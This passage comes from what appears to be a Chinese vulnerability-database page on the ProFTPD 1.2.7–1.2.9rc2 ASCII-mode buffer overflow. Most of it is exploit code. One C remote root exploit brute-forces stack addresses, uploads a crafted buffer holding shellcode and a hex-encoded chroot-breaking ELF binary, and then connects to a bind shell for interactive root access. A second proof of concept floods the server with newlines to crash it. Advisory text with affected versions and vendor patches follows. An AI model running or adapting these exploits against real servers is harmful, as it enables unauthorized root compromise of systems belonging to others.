}
if(server==NULL || localIP==NULL)
usage(argv[0]);

printf("proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit\n");
printf(" by Haggis (haggis@haggis.kicks-ass.net)\n");

doris_chroot_breaker();
for(stackWriteAddr=stackStartAddr; stackWriteAddr<STACK_END; stackWriteAddr+=4, attemptNumber++) {

if(check_for_linefeed()==FAILURE)
continue;

retAddr=stackWriteAddr+200; // good enough for show business

if((controlSock=connect_to_server(ftpPort))==FAILURE) {
perror("\n\nFailing to connect to remote host\n");
exit(1);
}

if(login_to_server()==FAILURE) {
close(controlSock);
printf("\nERROR: Login failed.\n");
exit(1);
}

if(set_passive_mode(UPLOAD)==FAILURE)
goto err;
if(set_ascii_mode()==FAILURE)
goto err;
if(set_path_and_filename()==FAILURE)
goto err;

// create the buffer containing RET for this
// brute-force iteration
create_exploit_buffer();

if(upload_file()==FAILURE)
goto err;
close(controlSock);

// Connect again, then login, set ASCII mode and download the exploit file.
// This will trigger the overflow; as a result, we've
// corrupted the memory pool of this session and when we
// download the file again, the stack area will be overwritten
// and we control the saved EIP.

if((controlSock=connect_to_server(ftpPort))<0) {
perror("\nFailed to connect to remote host\n");
exit(1);
}

login_to_server(user,pass);
set_path_and_filename();
if(set_ascii_mode()==FAILURE)
goto err;
if(set_passive_mode(DOWNLOAD)==FAILURE)
goto err;
if(sleepMode)
sleep(10);
if(download_file(NORMAL_DOWNLOAD)==FAILURE)
goto err;

// Finally, read the file again. This will trigger the stack
// overwrite (NOT the overflow, that happened earlier). We could
// control EIP at this point and r00t may be only heartbeat away...

if(set_passive_mode(DOWNLOAD)==FAILURE)
goto err;
if(download_file(EXPLOIT_DOWNLOAD)==FAILURE)
goto err;
err: 
close(controlSock);
}

// This is only reached if the bruteforce fails.
// delete the exploit files here

printf("\n\nNo r00t for you today I'm afraid.\n");
exit(1);
}

void status_bar(char *info) {
printf("[ %20s ]-[ Stack: 0x%08x ]-[ RET: 0x%08x ]\r",info, stackWriteAddr,retAddr);
fflush(stdout);
}

int set_path_and_filename()
{
status_bar("Setting filename");
if(strcmp(uploadPath,"")) {
my_send(controlSock, "CWD %s\r\n",uploadPath);
my_recv(controlSock);
}
snprintf(filename,SIZE,"proft_put_down-%d-%d.txt",getpid(),attemptNumber);
return SUCCESS;
}

int download_file(int mode)
{
int len, localServerSock, dataSock, bindShellSock;
struct sockaddr_in localServer;

status_bar("Downloading");
// Ask the victim server to send us the exploit file
my_send(controlSock, "RETR %s\r\n", filename);

// Create a listening server on our passive port to
// receive the data
memset(&localServer,0,sizeof(localServer));
localServerSock=create_passive_server();
len=sizeof(localServer);

// Wait for a few seconds for the victim server to contact us...
if((dataSock=timeout_accept(localServerSock,(struct sockaddr *)&localServer,&len))<0) {
close(localServerSock);
return FAILURE;
}

// If the mode is EXPLOIT_DOWNLOAD, then this is the
// second attempt at downloading... that means we might
// have a shell waiting for us on the victim server, so
// we try to connect to it
if(mode==EXPLOIT_DOWNLOAD) {
if((bindShellSock=connect_to_server(BINDSHELL_PORT))>=0) {
printf("\nConnected! You are r00t...\n");
do_remote_shell(bindShellSock);
printf("\nDid you have a nice time?\n");
exit(0);
} 
close(dataSock);
close(localServerSock);
return SUCCESS;
}
// If the mode is NORMAL_DOWNLOAD, then just clean up the
// connection by receiving the file from the server; closing
// the data and local server sockets, then read the confirmation
// message from the control socket
my_recv(dataSock);
close(dataSock);
close(localServerSock);
my_recv(controlSock);
return check_status();
}

int timeout_accept(int s, struct sockaddr *sa, int *f)
{
fd_set fdset;
struct timeval timeout = { ACCEPT_TIMEOUT, 0 }; // seconds
int result;

if(s<=0)
return FAILURE;
FD_ZERO(&fdset);
FD_SET(s, &fdset);

if((result=select(s+1, &fdset, 0, 0, &timeout))==0)
return FAILURE;
return accept(s,sa,f);
}

int set_passive_mode(int mode)
{
int portMSB, portLSB;
int x1,x2,x3,x4;
char *ptr=localIP, *start;

status_bar("Setting passive");
if(mode==DOWNLOAD) {
if((++currentPassivePort) > 35000)
currentPassivePort=32789;

while(*(++ptr))
if(*ptr=='.')
*ptr=',';
portMSB=(currentPassivePort >> 8 ) & 0xff;
portLSB=currentPassivePort & 0xff;
my_send(controlSock, "PORT %s,%d,%d\r\n", localIP, portMSB, portLSB);
my_recv(controlSock);
return check_status();
} else { 
my_send(controlSock, "PASV\r\n");
my_recv(controlSock);
if(check_status()==FAILURE)
return FAILURE;
ptr=serverBuf;
while(*ptr && *ptr!='(')
ptr++;
if(*ptr=='\0')
return FAILURE;
start=ptr+1;
while(*ptr && *ptr!=')')
ptr++;
*ptr=0;
sscanf(start, "%d,%d,%d,%d,%d,%d",&x1, &x2, &x3, &x4, &portMSB, &portLSB);
currentServerPort=(portMSB << 8) | portLSB;
}
return SUCCESS; 
}

int connect_to_server(int port)
{
struct sockaddr_in serverAddr;
struct hostent *host;
int sock, tmp=1;

status_bar("Connecting");
if((host=gethostbyname(server))==NULL)
return FAILURE;

if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
return FAILURE;
bzero(&serverAddr,sizeof(struct sockaddr));
serverAddr.sin_family=AF_INET;
serverAddr.sin_port=htons(port);
serverAddr.sin_addr=*((struct in_addr *)host->h_addr);
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&tmp, sizeof(tmp));
if(connect(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
close(sock);
return FAILURE;
}
return sock;
}

int check_status()
{
if(isdigit(serverBuf[0]) && serverBuf[0]!='5')
return SUCCESS;
else
return FAILURE;
}

int login_to_server()
{
status_bar("Logging in");
my_recv(controlSock);
my_send(controlSock, "USER %s\r\n", user);
my_recv(controlSock);
if(check_status()==FAILURE)
return FAILURE;

my_send(controlSock, "PASS %s\r\n", pass); 
my_recv(controlSock);
return check_status();
}

int set_ascii_mode()
{
status_bar("Setting ASCII mode");
my_send(controlSock, "TYPE A\r\n");
my_recv(controlSock);
return check_status();
}


int upload_file()
{
int dataSock;

status_bar("Uploading file");

// open up the data channel
if((dataSock=connect_to_server(currentServerPort))==FAILURE)
return FAILURE;

// tell server we're gonna send some shiznitz
my_send(controlSock, "STOR %s\r\n", filename);
my_recv(controlSock);
if(check_status()==FAILURE) {
close(dataSock);
return FAILURE;
}

// send the exploit file to the victim server
send(dataSock, exploitBuf, exploitBufLen, 0);
close(dataSock);

// make sure all went well
my_recv(controlSock);
if(check_status()==FAILURE)
return FAILURE;
return SUCCESS;
}

int create_exploit_buffer()
{
int i;
char buf[41];
unsigned int writeaddr=stackWriteAddr;
unsigned int *ptr=(unsigned int *)(exploitBuf+3);
unsigned int dummy=0x11111111;
FILE *fp;

status_bar("Make exploit buf");
exploitBufLen=1024;
memset(exploitBuf,0,EXPLOIT_BUF_SIZE);
memset(exploitBuf,0x90,512);
*(ptr++)=writeaddr+28;
for(i=0;i<6;i++)
*(ptr++)=retAddr;
*(ptr++)=0;
for(i=0;i<2;i++)
*(ptr++)=retAddr;

memcpy(exploitBuf+512-strlen(shellcode)-1,shellcode,strlen(shellcode));
memset(exploitBuf+512,'\n',512);

for(i=0;i<96;i++) {
memset(buf,0,41);
if(dummy==0x1111112e)
// this sets session.d->outstrm to NULL which forces an early return
// avoids crashing proftpd... on SuSE 8.0 anywayz...
memcpy(buf,"\n\n\n\n\n\n\n\n\x00\x00\x00\x00\n\n\n\n\n\n\n\n",20);
else if(dummy==0x11111166)
// this is the same thing tailored for RH7.2
memcpy(buf,"\n\n\n\n\n\n\n\n\x72\x00\x00\x00\x00\n\n\n\n\n\n\n",20);
else
memset(buf,'\n',20);

// i used these dummy values to find the correct spot for
// the session.d->outstrm pointer
*(unsigned int *)(buf+20)=dummy;
*(unsigned int *)(buf+24)=dummy;
*(unsigned int *)(buf+28)=dummy;

// this will become the address of an available chunk of memory
// that is returned by new_block() in pool.c
*(unsigned int *)(buf+32)=writeaddr;

// this is what will be returned by palloc() in pool.c
// palloc() is the function that calls new_block() and
// provides the allocation interface for the pools system.
*(unsigned int *)(buf+36)=writeaddr;

memcpy(exploitBuf+exploitBufLen,buf,40);
exploitBufLen+=40;
dummy++;
}
return SUCCESS;
}


int create_passive_server()
{
struct sockaddr_in serverAddr;
int on=1,sock;

status_bar("Creating server");
sock=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&serverAddr,0,sizeof(struct sockaddr_in));
serverAddr.sin_port=htons(currentPassivePort);
serverAddr.sin_family=AF_INET;
serverAddr.sin_addr.s_addr=htonl(INADDR_ANY);
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
if(bind(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
close(sock);
return FAILURE;
}
if(listen(sock,5)<0) {
close(sock);
return FAILURE;
}
return sock;
}

void usage(char *exploitName)
{
printf("proftpd 1.2.7 - 1.2.9rc2 remote root exploit\n");
printf(" based on code by bkbll (bkbll@cnhonker.net)\n");
printf(" by Haggis (haggis@haggis.kicks-ass.net)\n");
printf("--------------------------------------------------------------\n");
printf("Usage: %s -t host -l ip [options]\n",exploitName);
printf("Arguments:\n");
printf(" -t <host> host to attack\n");
printf(" -u <username> [anonymous]\n");
printf(" -p <password> [ftp@microsoft.com]\n");
printf(" -l <local ip address> interface to bind to\n");
printf(" -s sleep for 10secs to allow GDB attach\n");
printf(" -U <path> specify upload path, eg. /incoming\n");
printf(" -P <port> port number of remote proftpd server\n");
printf(" -S <address> start at <address> when bruteforcing\n");
exit(0);
}


int do_remote_shell(int shellSock)
{
fd_set rfds;
char buf[1024];
int retval, r=1;

do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(shellSock, &rfds);
retval=select(shellSock+1, &rfds, NULL, NULL, NULL);
if(retval) {
if(FD_ISSET(shellSock, &rfds)) {
buf[(r=recv(shellSock, buf, sizeof(buf)-1,0))]='\0'; // lol
printf("%s", buf);fflush(stdout);
}
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, sizeof(buf)-1))]='\0'; // lmfao
send(shellSock, buf, strlen(buf), 0);
}
}
} while(retval && r); // loop until connection terminates
return SUCCESS;
}


int check_for_linefeed()
{
char *ptr=(char *)&stackWriteAddr;
int i=4;

for(;i;i--)
if(*(ptr++)=='\n')
return FAILURE;
return SUCCESS;
}

// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...) {
va_list ap;
char *buf;

my_sleep(SLEEP_DELAY);
va_start(ap,b);
vasprintf(&buf,b,ap);
send(s,buf,strlen(buf),0);
va_end(ap);
free(buf);
}

// Another handy function to read data from a socket.
void my_recv(int s) {
int len;

my_sleep(SLEEP_DELAY);
memset(serverBuf, 0, SIZE);
len=recv(s, serverBuf, SIZE-1, 0);
serverBuf[len]=0;
}

void doris_chroot_breaker() {
char haggis_magic_buffer[]=
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x02\x00\x03\x00\x01\x00\x00\x00\x80\x80\x04\x08\x34\x00\x00\x00"
"\xa0\x01\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x02\x00\x28\x00"
"\x09\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08"
"\x00\x80\x04\x08\x20\x01\x00\x00\x20\x01\x00\x00\x05\x00\x00\x00"
"\x00\x10\x00\x00\x01\x00\x00\x00\x20\x01\x00\x00\x20\x91\x04\x08"
"\x20\x91\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00"
"\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x55\x89\xe5\x83\xec\x6c\x57\x56\x53\x8d\x45\xa0\x8d\x7d\xa0\xbe"
"\xc0\x80\x04\x08\xfc\xb9\x17\x00\x00\x00\xf3\xa5\x66\xa5\xa4\x8d"
"\x45\xa0\x89\x45\x9c\x8b\x5d\x9c\xff\xd3\x8d\x65\x88\x5b\x5e\x5f"
"\x89\xec\x5d\xc3\x8d\xb6\x00\x00\x00\x00\x8d\xbf\x00\x00\x00\x00"
"\x31\xc0\x31\xdb\x40\x50\x89\xe1\x66\xbb\x73\x68\x53\x89\xe3\xb0"
"\x27\xcd\x80\x31\xc0\x89\xe3\xb0\x3d\xcd\x80\x31\xc9\xb1\x0a\x31"
"\xc0\x31\xdb\x66\xbb\x2e\x2e\x53\x89\xe3\xb0\x0c\xcd\x80\x49\x85"
"\xc9\x75\xec\x31\xc0\x31\xdb\xb3\x2e\x53\x89\xe3\xb0\x3d\xcd\x80"
"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x00\x00"
"\x00\x47\x43\x43\x3a\x20\x28\x47\x4e\x55\x29\x20\x32\x2e\x39\x35"
"\x2e\x33\x20\x32\x30\x30\x31\x30\x33\x31\x35\x20\x28\x53\x75\x53"
"\x45\x29\x00\x08\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x30"
"\x31\x2e\x30\x31\x00\x00\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00"
"\x2e\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61"
"\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00"
"\x2e\x64\x61\x74\x61\x00\x2e\x73\x62\x73\x73\x00\x2e\x62\x73\x73"
"\x00\x2e\x63\x6f\x6d\x6d\x65\x6e\x74\x00\x2e\x6e\x6f\x74\x65\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00"
"\x06\x00\x00\x00\x80\x80\x04\x08\x80\x00\x00\x00\x40\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00"
"\x21\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\xc0\x80\x04\x08"
"\xc0\x00\x00\x00\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x20\x00\x00\x00\x00\x00\x00\x00\x29\x00\x00\x00\x01\x00\x00\x00"
"\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
"\x2f\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x20\x91\x04\x08"
"\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x35\x00\x00\x00\x08\x00\x00\x00"
"\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
"\x3a\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x20\x01\x00\x00\x23\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x43\x00\x00\x00\x07\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x43\x01\x00\x00\x14\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x01\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00";

strcpy(filename, "aa");
memset(exploitBuf,0,777);
memcpy(exploitBuf, haggis_magic_buffer, 776);
exploitBufLen=776;
if((controlSock=connect_to_server(ftpPort))==FAILURE) {
printf("\nCould not connect to target server\n");
exit(1);
}
login_to_server();
my_send(controlSock, "MKD incoming\r\n");
my_recv(controlSock);
my_send(controlSock, "SITE CHMOD 777 incoming\r\n");
my_recv(controlSock);
my_send(controlSock, "CWD incoming\r\n");
my_recv(controlSock);
set_passive_mode(UPLOAD);
upload_file();
my_send(controlSock, "SITE CHMOD 777 aa\r\n");
close(controlSock);
}

// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n) {
struct timespec t;

t.tv_sec=0;
t.tv_nsec=n;
nanosleep(&t,&t);
}

// milw0rm.com [2003-10-13]
		

- 漏洞信息 (23170)

ProFTPD 1.2.7/1.2.8 ASCII File Transfer Buffer Overrun Vulnerability (EDBID:23170)
linux dos
2003-09-23 Verified
0 netris
N/A [点击下载]
source: http://www.securityfocus.com/bid/8679/info

A remotely exploitable buffer overrun vulnerability has been reported in ProFTPD. This issue could be triggered if an attacker uploads a malformed file and then that file is downloaded in ASCII mode. Successful exploitation will permit a malicious FTP user with upload access to execute arbitrary code in the context of the FTP server.

It is also reported that ProFTPD does not adequately drop privileges in some circumstances, which may compound the risks associated with exploitation.

This issue could also affect versions prior to 1.2.7, though this has not been confirmed. 

/*
*  -- ProFTPd [1.2.7-1.2.8] proof-of-concept --
*  
*  This code is quite ugly, don't have time cleaning it;
*   
*  description: iss gave a lil hint to me, so i found the vuln
*  in src/data.c file, xlate_ascii_write()  function
*  when the iss advisory came out.
*  
*  -netris at ok.kz
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int s1,s2;
struct sockaddr_in a1,a2;
char *senddata(int sock,char *data, int resp);
void data_connect(char *addr,char *pasv, int bool);
int data_port(char *pret, char *addr);

int main(int argc, char *argv[])
{
	char *ret;
	char buf[100];
	
	if(argc!=4){
		fprintf(stderr,"usage: %s login pass ip_addr\n",argv[0]);
		exit(0);
	}
	
	a1.sin_family = AF_INET;
	a1.sin_port = htons(21);
	a1.sin_addr.s_addr = inet_addr(argv[3]);
	
	s1 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	connect(s1,(struct sockaddr*)&a1,sizeof(a1));
	
	senddata(s1,0,1);
	sprintf(buf,"USER %s\n",argv[1]);
	senddata(s1,buf,2);
	sprintf(buf,"PASS %s\n",argv[2]);
	senddata(s1,buf,2);
	senddata(s1,"TYPE A\n",2);
	
	ret = senddata(s1,"PASV\n",2); /*STOR*/
	data_connect(argv[3],ret,0);
	ret = senddata(s1,"PASV\n",2); /*RETR*/
	data_connect(argv[3],ret,1);
	ret = senddata(s1,"PASV\n",2); /*RETR (needed sometimes)*/
	data_connect(argv[3],ret,1);

	close(s1);
	close(s2);
	return 0;
}

char *senddata(int sock,char *data, int resp) 
{
	char buf[66000];
	int i;
	if(resp>=2){
 		send(sock,data,strlen(data),0);
		if(strlen(data)<512)
			printf("%s\n",data);
 	}
	if(resp<=2){
  		i=recv(sock,buf,sizeof(buf),0);
		buf[i]=0;
		if(strlen(buf)<512)
			printf("%s",buf);
	} 
	return buf;
}

int data_port(char *pasv, char *addr)
{
	int i=0,j,p1,p2,h1=1;
	p1=p2=0;
	for(j=0;j<4;j++)
		for(i+=1;pasv[i]!=',';i++);
	for(i+=1;pasv[i]!=',';i++)
		p1=p1*10+pasv[i]-'0';
	for(i+=1;pasv[i]!=')';i++)
		p2=p2*10+pasv[i]-'0';
	h1 += inet_addr(addr) & 0x000000ff;
	j = p1*h1*2+p2;
	printf("Data port: %d\n",j);
	return j;
}

void data_connect(char *addr, char *pasv, int bool)
{
	int port,i;	
	static char buf[65559];
	close(s2);
	port = data_port(pasv,addr);
	a2.sin_port = htons(port);
	a2.sin_family = AF_INET;
	a2.sin_addr.s_addr = inet_addr(addr);
	s2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	connect(s2,(struct sockaddr*)&a2,sizeof(a2));
	if(!bool){
		senddata(s1,"STOR kf\n",2);
		for(i=0;i<65558;i++)buf[i]=0x0a;
		buf[i]=0;
		senddata(s2,buf,3);
		close(s2);
	}
	else{
		senddata(s1,"RETR kf\n",2);
		senddata(s2,"\n",2);
	}
	senddata(s1,"\n",2);
}
		

- 漏洞信息

10769
ProFTPD File Transfer Newline Character Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in ProFTPD. The data_xfer() function fails to allocate enough space in the transfer buffer when processing an ASCII transfer containing and unsual sequence of newline (\n) characters, resulting in a heap overflow. By downloading a specially crafted file, an attacker can execute custom code in with the privileges of the ProFTPD process (and in some cases, as root). This can result in a loss of integrity.

- 时间线

2003-09-23 Unknow
2003-10-01 Unknow

- 解决方案

Upgrade to version 1.2.10 or higher, as it has been reported to fix this vulnerability. In addition, ProFTPD has released patched source distributions for versions 1.2.7 and 1.2.8. It is also possible to mitigate the flaw by implementing the following workaround: Do not grant both read and write access to incoming FTP directories.

- 相关参考

- 漏洞作者

- 漏洞信息

ProFTPD ASCII File Transfer Buffer Overrun Vulnerability
Boundary Condition Error 8679
Yes No
2003-09-23 12:00:00 2009-07-11 11:56:00
Discovery is credited to Mark Dowd of ISS X-Force.

- 受影响的程序版本

Sun Cobalt RaQ XTR
ProFTPD Project ProFTPD 1.2.9 rc2
ProFTPD Project ProFTPD 1.2.9 rc1
ProFTPD Project ProFTPD 1.2.8 rc2
ProFTPD Project ProFTPD 1.2.8 rc1
ProFTPD Project ProFTPD 1.2.8
+ Slackware Linux 9.0
+ Slackware Linux 8.1
+ Slackware Linux -current
ProFTPD Project ProFTPD 1.2.7 rc3
ProFTPD Project ProFTPD 1.2.7 rc2
ProFTPD Project ProFTPD 1.2.7 rc1
ProFTPD Project ProFTPD 1.2.7
+ Sun Cobalt Qube 3
ProFTPD Project ProFTPD 1.2.9 rc3
ProFTPD Project ProFTPD 1.2.9
+ Mandriva Linux Mandrake 10.0
+ OpenPKG OpenPKG 2.0
+ OpenPKG OpenPKG 1.3
+ OpenPKG OpenPKG Current
+ Slackware Linux 9.1
+ Slackware Linux 9.0
+ Slackware Linux 8.1
+ Slackware Linux -current

- 不受影响的程序版本

ProFTPD Project ProFTPD 1.2.9 rc3
ProFTPD Project ProFTPD 1.2.9
+ Mandriva Linux Mandrake 10.0
+ OpenPKG OpenPKG 2.0
+ OpenPKG OpenPKG 1.3
+ OpenPKG OpenPKG Current
+ Slackware Linux 9.1
+ Slackware Linux 9.0
+ Slackware Linux 8.1
+ Slackware Linux -current

- 漏洞讨论

A remotely exploitable buffer overrun vulnerability has been reported in ProFTPD. This issue could be triggered if an attacker uploads a malformed file and then that file is downloaded in ASCII mode. Successful exploitation will permit a malicious FTP user with upload access to execute arbitrary code in the context of the FTP server.

It is also reported that ProFTPD does not adequately drop privileges in some circumstances, which may compound the risks associated with exploitation.

This issue could also affect versions prior to 1.2.7, though this has not been confirmed.

- 漏洞利用

Exploit code is available:

- 解决方案

The vendor has stated that patched versions of ProFTPD 1.2.7 through 1.2.9rc2 have been made available. These patched versions can be obtained from the vendor through various mirrors and are denoted with a 'p' after the version number, for example:

proftpd-1.2.7p.tar.gz

Sun have released a security update to address this issue in the RAQ XTR. Please see references section for further details. A fix is linked below.

Slackware has released fixes to address this issue.

OpenPKG updates are available. See advisory OpenPKG-SA-2003.043.

Mandrake has issued fixes listed in advisory MDKSA-2003:095. **UPDATE: On Dec 31, 2003 Mandrake released new fixes correcting a bug in the patched version of ProFTPD.

Trustix has issued fixes for Trustix Secure Linux. See advisory TSLSA-2003-0037 in the reference section.

GENTOO has released an advisory 200309-16 and fix information to address this issue. Please see the referenced advisory for more information.

Conectiva has released advisory CLA-2003:750 to address this issue.

Turbolinux has released an advisory TLSA-2003-54 and fix information to address this issue. Please see the referenced advisory for more information.

ProFTPD versions 1.2.9 and 1.2.9rc3 have been released which are not prone to this issue. Users are advised to obtain the fixes.

Sun has released a fix for the Qube3.


Sun Cobalt RaQ XTR

ProFTPD Project ProFTPD 1.2.7

ProFTPD Project ProFTPD 1.2.7 rc2

ProFTPD Project ProFTPD 1.2.7 rc3

ProFTPD Project ProFTPD 1.2.7 rc1

ProFTPD Project ProFTPD 1.2.8

ProFTPD Project ProFTPD 1.2.8 rc1

ProFTPD Project ProFTPD 1.2.8 rc2

ProFTPD Project ProFTPD 1.2.9 rc1

ProFTPD Project ProFTPD 1.2.9 rc2

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站